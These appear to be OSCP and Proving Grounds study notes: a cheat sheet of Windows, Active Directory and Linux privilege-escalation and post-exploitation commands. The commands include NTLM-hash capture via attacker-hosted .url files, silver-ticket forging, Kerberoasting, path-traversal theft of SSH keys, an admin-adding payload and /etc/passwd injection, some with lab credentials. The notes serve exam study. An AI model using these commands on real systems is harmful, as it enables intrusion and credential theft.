SeRestore privilege
# The method below also works
https://r4j3sh.medium.com/heist-pg-practice-write-up-fbfd6b90b02a

# A simpler method that executes a shell directly
https://github.com/dxnboy/redteam/blob/master/SeRestoreAbuse.exe
SeRestoreAbuse.exe C:\Windows\System32\utilman.exe
SeRestoreAbuse.exe "C:\Windows\System32\cmd.exe" "C:\Windows\System32\utilman.exe"

1
2
3
4
5
6
7
8


# For SMB phishing, listen with Responder when authentication begins to capture HTLM
# https://github.com/Greenwolf/ntlm_theft includes various methods

[InternetShortcut]
URL=Random_nonsense
WorkingDirectory=Flibertygibbit
IconFile=\\<YOUR tun0 IP>\%USERNAME%.icon
IconIndex=1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


GPO (Group Policy) privilege escalation

# Import PowerView
Import-Module .\PowerView.ps1

# Find Default Domain Policy information and its GUID
Get-GPO -Name "Default Domain Policy"

Get-GPPermission -Guid <GUID> -TargetType User -TargetName <CURRENT_USER>
# Permission types may include:
# - GpoApply: Apply policy
# - GpoRead: Read policy
# - GpoEdit: Edit policy
# - GpoCustom: Custom permissions

.\SharpGPOAbuse.exe
--AddLocalAdmin # Add a local administrator
--UserAccount # Specify the user account to add
--GPOName # Specify the GPO to modify

# Other available arguments:
--AddComputerScript # Add a computer startup script
--AddUserScript # Add a user logon script
--AddUserTask # Add a scheduled task
--Command # Specify the command to execute

# Query permissions
Get-GPPermission -Guid 31b2f340-016d-11d2-945f-00c04fb984f9 -TargetType User -TargetName anirudh
https://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master
# The project URL is above; exploitation is below
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName "Default Domain Policy"
gpupdate /force

.\SharpGPOAbuse.exe
--AddLocalAdmin # Action: add local-administrator privileges
--UserAccount anirudh # User to add: anirudh
--GPOName "Default Domain Policy" # GPO to modify: Default Domain Policy

gpupdate # Update Group Policy
/force # Force an immediate update without waiting for the default refresh interval

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


# An interesting use of a silver ticket
# MSSQL may run on the domain controller, and svc_mssql can authenticate directly with Kerberos as a service account
# A normal service account may be unable to enable xmdshell, so create a silver ticket
# MSSQL is already accessible and login succeeds
impacket-ticketer -nthash <HASH> -domain-sid <SID> -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator
impacket-mssqlclient -k nagoya.nagoya-industries.com
impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator

# PowerView
Get-DomainSID

# Native PowerShell
(Get-ADDomain).DomainSID.Value

1

Get-ADUser -Filter {SamAccountName -eq "svc_mssql"} -Properties ServicePrincipalNames

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


# Set the ticket location
export KRB5CCNAME=$PWD/Administrator.ccache

# This differs from the usual approach, where importing a ticket through KRB5CCNAME is sufficient
# Importing a silver ticket appears to also require the configuration file below
/etc/krb5user.conf
[libdefaults]
 default_realm = NAGOYA-INDUSTRIES.COM
 kdc_timesync = 1
 ccache_type = 4
 forwardable = true
 proxiable = true
 rdns = false
 dns_canonicalize_hostname = false
 fcc-mit-ticketflags = true

[realms]
 NAGOYA-INDUSTRIES.COM = {
 kdc = nagoya.nagoya-industries.com
 }

[domain_realm]
 .nagoya-industries.com = NAGOYA-INDUSTRIES.COM

# Connect to MSSQL, preferably with Impacket
impacket-mssqlclient -k nagoya.nagoya-industries.com

Kerberos configuration-file search order:

Location specified by the KRB5_CONFIG environment variable
/etc/krb5.conf (default location)
/etc/krb5user.conf
~/.krb5user.conf

# Only modify these sections:
default_realm = YOUR.DOMAIN.COM # Domain name
[realms]
YOUR.DOMAIN.COM = {
 kdc = dc.your.domain.com # Domain controller
}
[domain_realm]
.your.domain.com = YOUR.DOMAIN.COM # Domain mapping

Other settings can remain unchanged:
kdc_timesync
ccache_type
forwardable
proxiable
rdns
These control Kerberos behavior and usually do not need modification.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


# If BloodHound shows GenericWrite over a user, that user's SPN can be modified
# Then obtain a TGT; this is an interesting technique
targetedKerberoast.py -v -d 'hokkaido-aerospace.com' -u 'hrapp-service' -p 'Untimed$Runny' --dc-ip 192.168.208.40
https://wadcoms.github.io/wadcoms/targetedKerberoast/

targetedKerberoast differs from ordinary Kerberoasting:
Ordinary Kerberoasting:
powershellCopy# Any domain user can run this
Get-DomainUser -SPN # Enumerate all SPNs
Rubeus.exe kerberoast # Request tickets for all SPNs

Targeted Kerberoasting:
Requires GenericWrite permission
Can temporarily add an SPN to a normal user
Remove the SPN after obtaining the ticket

1
2
3
4
5
6


# This can be found in BloodHound
# The current user has ReadLAPSPassword permission
# This allows reading local-administrator passwords for domain machines

ldapsearch -v -c -D username@domain.com -w password -b "DC=domain,DC=com" -H ldap://DC_IP "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
ldapsearch -v -c -D fmcsorley@hutch.offsec -w CrabSharkJellyfish192 -b "DC=hutch,DC=offsec" -H ldap://$IP "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

100.Some OSCP Details

Arbitrary File Read

Arbitrary file reads are mostly useful for grabbing important data such as SSH private keys. Reading one in a browser can mangle its formatting, though. I had run into this before and never found a good solution—I would guess the line lengths and add the line breaks one by one. OSCP called out a much cleaner approach.

It turns out that curl is all you need.

1
2
3
4


curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa

--path-as-is
This argument prevents curl from normalizing ../../ into /

Directory Wordlists for Testing

1
2
3
4


C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\

Apache 2.4.49 Directory Traversal Vulnerability

1
2
3


curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd --path-as-is

curl http://192.168.50.16/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/opt/passwd --path-as-is

responder

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


ip a
sudo responder -I tun0
sudo responder -I tun0 -v

An interesting case
When a domain host has an SSRF vulnerability, I usually make it send an HTTP request to the attacker machine
HTTP requests usually require no authentication, so they do not carry HTLM
SMB and WebDAV do carry it and can be combined with a pseudo-protocol
file:////192.168.45.184/share
Or WebDAV
http://192.168.45.184/share

Situational Awareness and Information Gathering (Very Important) for Windows Privilege Escalation

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


# All groups to which the current user belongs
whoami /groups

powershell
# Local users, enabled status, and descriptions
Get-LocalUser

# Local groups
Get-LocalGroup

# Use the group name above as an argument to view its members
Get-LocalGroupMember adminteam

# Routing table
route print

# View all applications
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

# View processes
Get-Process

# Similar to find; the approach is useful
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue

# Transcript files may contain credentials
C:\Users\Public\Transcripts\transcript01.txt

# Search history
(Get-PSReadlineOption).HistorySavePath

# Files that may contain passwords
C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml
C:\Users\dave\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt
C:\Users\dave\AppData\Local\Packages\MicrosoftTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt

# Existing services
# This filters out services that are not running
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

# Show all services
Get-CimInstance -ClassName win32_service | Select Name,State,PathNam

1
2


# View file permissions
icacls "C:\xampp\apache\bin\httpd.exe"

Mask	Permissions
F	Full access
M	Modify access
RX	Read and execute access
R	Read-only access
W	Write-only access

When replacing a service executable, you can compile one yourself.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


adduser.c

```c

#include &lt;stdlib.h&gt;

int main ()
{
int i;

i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");

return 0;
}

```text
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

Then use net stop or net start on the service

# View the target service's startup type
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}

AUTO means automatic startup

PowerUp.ps1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


powershell -ep bypass
. .\PowerUp.ps1

# Show modifiable services
Get-ModifiableServiceFile

# Replace the binary in one step; by default, this creates a local user named john with password Password123!
Install-ServiceBinary -Name 'mysql'

# Manual test: check permissions
PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe' | Get-ModifiablePath -Literal
PS C:\Users\dave> $ModifiableFiles

ModifiablePath IdentityReference Permissions
-------------- ----------------- -----------
C:\xampp\mysql\bin\mysqld.exe BUILTIN\Users {WriteOwner, Delete, WriteAttributes, Synchronize...}

PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe argument' | Get-ModifiablePath -Literal

PS C:\Users\dave> $ModifiableFiles

ModifiablePath IdentityReference Permissions
-------------- ----------------- -----------
C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, WriteAttributes, Synchronize, ReadControl...}
C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, GenericWrite, GenericExecute, GenericRead}

PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe argument -conf=C:\test\path' | Get-ModifiablePath -Literal

PS C:\Users\dave> $ModifiableFiles

DLL Hijacking

1
2
3
4


Principle: use the command below to identify the software version, then search for an exploit by vulnerability type
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

FileZilla FTP 3.63.1 is vulnerable to DLL hijacking

Unquoted Service Paths (A Very Important and Interesting Trick)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


# Enumerate running and stopped services
Get-CimInstance -ClassName win32_service | Select Name,State,PathName
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
wmic service get name,displayname,pathname,startmode |findstr /i "auto"

For example, the configured path below is unquoted
C:\Program Files\My Program\My Service\service.exe
Principle
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe

Then restart the service

In this example, we could name the executable Program.exe and place it in C:, name it My.exe and place it in C:\Program Files, or name it My.exe and place it in C:\Program Files\My Program. The first two options require permissions we are unlikely to have because standard users cannot write to those directories by default. The third is more plausible because it is the application’s main directory. If an administrator or developer configured its permissions too loosely, we can place a malicious binary there.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


# Detailed command

icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Enterprise Apps"

Find a directory where the current user has W permission, then place an EXE file there
After finding one, run the command below
Stop-Service GammaService
Start-Service GammaService

This is another PowerUp.ps1 technique.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


PowerUp.ps1
. .\PowerUp.ps1
# Like the above, output vulnerable services
Get-UnquotedService
# Select the write path
Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
# Restart the service
Restart-Service GammaService

The default behavior creates a new local user named john with password Password123!

Scheduled Task Privilege Escalation

1
2
3
4
5
6
7
8


# View scheduled tasks
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr /i "Every:"
schtasks /query /fo LIST /v | findstr /i /C:"TaskName" /C:"Every:" /C:"Task To Run:"
# Identify the specific task
schtasks /query /tn "\Microsoft\Windows\SomeTask" /fo LIST /v
# Confirm permissions, then replace it
icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe

Exploit-Based Privilege Escalation

1
2
3


whoami /priv
systeminfo
Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }

Linux Privilege Escalation (Information Gathering)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


ls -l /etc/shadow
cat /etc/issue
cat /etc/os-release
uname -a
ps aux
ip a
routel	#Routing table
ss -anp	#All connections
cat /etc/iptables/rules.v4	#Firewall configuration
ls -lah /etc/cron*					#Scheduled tasks
crontab -l		#Scheduled tasks
dpkg -l				#Installed applications
find / -writable -type d 2>/dev/null	#Writable directories
cat /etc/fstab		#Show mounted drives
mount					#Mounted filesystems
lsblk					#View available disks
lsmod					#View loaded kernel modules
/sbin/modinfo libata	#View more information about the module identified above
.bashrc				#Script that automatically sets environment variables and may contain useful information
env						#View environment variables that may contain useful information
watch -n 1 "ps -aux | grep pass"		#Similar to a lightweight pspy32
sudo tcpdump -i lo -A | grep "pass"	#Capture traffic
grep "CRON" /var/log/syslog					#View automated tasks in system logs; also similar to a lightweight pspy32
/usr/sbin/getcap -r / 2>/dev/null		#Privilege escalation with cap_setuid+ep
searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep "4." | grep -v " < 4.4.0" | grep -v "4.8"
# A searchsploit technique

/etc/passwd Abuse

1
2


openssl passwd w00t
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd

How to Build a New Wordlist

1
2


# Generate new passwords from a base password according to minimum and maximum lengths
crunch 6 6 -t Lab%%% > wordlist

Windows Privilege Escalation

I am only noting part of it here, mostly as a reminder.

1
2
3
4
5


When all other methods fail, inspect the winPEASany.exe output carefully
It is comprehensive; the manual methods below cover information already integrated into winPEASany.exe
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#putty-ssh-host-keys
Service privilege escalation
wmic service get name,displayname,pathname,startmode |findstr /i "auto"

msf Post-Exploitation

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


# Indicates whether the target machine is in use; the output below means the user has been away for nine minutes
idletime
User has been idle for: 9 mins 53 secs

# First action
getsystem

# Process migration
migrate 8052

# Start a hidden Notepad process and migrate into it
execute -H -f notepad
migrate 8052

# Run this first in PowerShell to bypass the system execution-policy restriction
PowerShell -ExecutionPolicy Bypass
powershell -ep bypass

# Port forwarding
portfwd add -l 3389 -p 3389 -r 172.16.5.200

# Configure the proxy
use auxiliary/server/socks_proxy
show options
set SRVHOST 127.0.0.1
set VERSION 5
run -j

This creates a SOCKS5 proxy on local port 1080 for use with proxychains

101.Some OSCP Ideas

I came across some interesting lessons while reading oscptext. These ideas are worth writing down.

When you find an arbitrary file read, do not blindly trust the PoC. Remember to test it manually—the PoC itself may simply fail.

For file inclusion, try writing to a log and then reading it: ../../../../../../../../../var/log/apache2/access.log /opt/admin.bak.php

File uploads can sometimes overwrite existing files. Try overwriting the public key.

i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32

UAC bypass is a pretty interesting technique. After Import-Module NtObjectManager, Get-NtTokenIntegrityLevel will tell you the integrity level. If it is Medium, you can try a UAC bypass.

102.Post-Exploitation Scripts

https://github.com/rebootuser/LinEnum

https://linpeas.sh/

https://github.com/DominicBreuker/pspy

aes:https://tool.lmeee.com/jiami/aes

rsa:https://www.bejson.com/enc/rsa/

phpinfo LFI race condition: https://github.com/vulhub/vulhub/tree/master/php/inclusion

SSH tunneling: https://wangdoc.com/ssh/port-forwarding, https://harttle.land/2022/05/02/ssh-port-forwarding.html

Windows exploit analysis: https://github.com/AonCyberLabs/Windows-Exploit-Suggester

Windows EternalBlue series: https://github.com/SecWiki/windows-kernel-exploits

Exploitation on MentalityXt